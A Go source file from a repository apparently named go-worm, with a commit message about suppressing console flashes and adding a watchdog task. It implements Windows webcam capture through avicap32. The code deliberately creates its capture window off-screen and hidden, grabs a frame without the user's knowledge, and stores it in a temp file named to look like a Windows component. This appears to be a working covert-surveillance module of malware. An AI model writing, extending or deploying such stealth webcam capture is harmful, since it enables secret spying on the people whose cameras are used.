Files
go-worm/lib/webcam/webcam_windows.go
T
kato cc2b1d049b fix(windows): prevent console window flash
- Centralize hidden-process setup per OS
- Hide console early to avoid startup flash
- Keep capture window off-screen and hidden
- Enable unified scheduler for watchdog task
- Force GUI subsystem in build script
2026-09-01 23:25:06 +03:00

175 lines
4.6 KiB
Go

//go:build windows
package webcam
import (
"errors"
"fmt"
"os"
"path/filepath"
"sync"
"syscall"
"unsafe"
"tea.chunkbyte.com/kato/go-worm/lib/models"
)
// ponytail: VFW (avicap32) — works for many UVC cams via WDM mapper; MF would cover more exotic devices.
var ErrDeviceNotFound = errors.New("webcam not found")
var (
avicap32 = syscall.NewLazyDLL("avicap32.dll")
user32 = syscall.NewLazyDLL("user32.dll")
procCapCreateCaptureWindowW = avicap32.NewProc("capCreateCaptureWindowW")
procCapGetDriverDescriptionW = avicap32.NewProc("capGetDriverDescriptionW")
procSendMessageW = user32.NewProc("SendMessageW")
procDestroyWindow = user32.NewProc("DestroyWindow")
procShowWindow = user32.NewProc("ShowWindow")
captureMu sync.Mutex
)
const (
wmUser = 0x0400
wmCapStart = wmUser
wmCapUnicodeStart = wmUser + 100
wmCapDriverConnect = wmCapStart + 10
wmCapDriverDisconnect = wmCapStart + 11
wmCapFileSaveDIBW = wmCapUnicodeStart + 25
wmCapGrabFrame = wmCapStart + 60
wmCapSetPreview = wmCapStart + 50
wmCapSetScale = wmCapStart + 53
wsPopup = 0x80000000
swHide = 0
maxDrivers = 10
)
type Device struct {
Index int `json:"index"`
Name string `json:"name"`
Version string `json:"version,omitempty"`
}
func List() ([]Device, error) {
var out []Device
for i := 0; i < maxDrivers; i++ {
nameBuf := make([]uint16, 128)
verBuf := make([]uint16, 128)
ok, _, _ := procCapGetDriverDescriptionW.Call(
uintptr(i),
uintptr(unsafe.Pointer(&nameBuf[0])),
uintptr(len(nameBuf)),
uintptr(unsafe.Pointer(&verBuf[0])),
uintptr(len(verBuf)),
)
if ok == 0 {
continue
}
name := syscall.UTF16ToString(nameBuf)
if name == "" {
continue
}
out = append(out, Device{
Index: i,
Name: name,
Version: syscall.UTF16ToString(verBuf),
})
}
return out, nil
}
func Capture(index int, format string, quality int) (models.CapturedImage, error) {
captureMu.Lock()
defer captureMu.Unlock()
devices, err := List()
if err != nil {
return models.CapturedImage{}, err
}
found := false
for _, d := range devices {
if d.Index == index {
found = true
break
}
}
if !found {
return models.CapturedImage{}, ErrDeviceNotFound
}
title, err := syscall.UTF16PtrFromString("win64_mp_webcam")
if err != nil {
return models.CapturedImage{}, err
}
off := ^uintptr(31999) // -32000, off-screen so VFW's HWND never appears
hwnd, _, callErr := procCapCreateCaptureWindowW.Call(
uintptr(unsafe.Pointer(title)),
wsPopup, // no WS_VISIBLE
off, off, 320, 240,
0, 0,
)
if hwnd == 0 {
return models.CapturedImage{}, fmt.Errorf("create capture window: %w", callErr)
}
_, _, _ = procShowWindow.Call(hwnd, uintptr(swHide))
defer procDestroyWindow.Call(hwnd)
ok, _, _ := procSendMessageW.Call(hwnd, wmCapDriverConnect, uintptr(index), 0)
if ok == 0 {
return models.CapturedImage{}, fmt.Errorf("connect webcam %d failed", index)
}
defer procSendMessageW.Call(hwnd, wmCapDriverDisconnect, 0, 0)
_, _, _ = procSendMessageW.Call(hwnd, wmCapSetPreview, 0, 0)
_, _, _ = procSendMessageW.Call(hwnd, wmCapSetScale, 1, 0)
ok, _, _ = procSendMessageW.Call(hwnd, wmCapGrabFrame, 0, 0)
if ok == 0 {
return models.CapturedImage{}, errors.New("grab frame failed")
}
tmp, err := os.CreateTemp("", "win64_mp_webcam_*.bmp")
if err != nil {
return models.CapturedImage{}, err
}
tmpPath := tmp.Name()
_ = tmp.Close()
defer os.Remove(tmpPath)
pathPtr, err := syscall.UTF16PtrFromString(tmpPath)
if err != nil {
return models.CapturedImage{}, err
}
ok, _, _ = procSendMessageW.Call(hwnd, wmCapFileSaveDIBW, 0, uintptr(unsafe.Pointer(pathPtr)))
if ok == 0 {
// Some drivers only accept ANSI SAVEDIB.
ansiPath, err := syscall.BytePtrFromString(filepath.Clean(tmpPath))
if err != nil {
return models.CapturedImage{}, errors.New("save frame failed")
}
ok, _, _ = procSendMessageW.Call(hwnd, wmCapStart+25, 0, uintptr(unsafe.Pointer(ansiPath)))
if ok == 0 {
return models.CapturedImage{}, errors.New("save frame failed")
}
}
raw, err := os.ReadFile(tmpPath)
if err != nil {
return models.CapturedImage{}, err
}
img, err := decodeBMP(raw)
if err != nil {
return models.CapturedImage{}, err
}
data, contentType, err := encodeImage(img, format, quality)
if err != nil {
return models.CapturedImage{}, err
}
b := img.Bounds()
return models.CapturedImage{
ContentType: contentType,
Data: data,
Width: b.Dx(),
Height: b.Dy(),
}, nil
}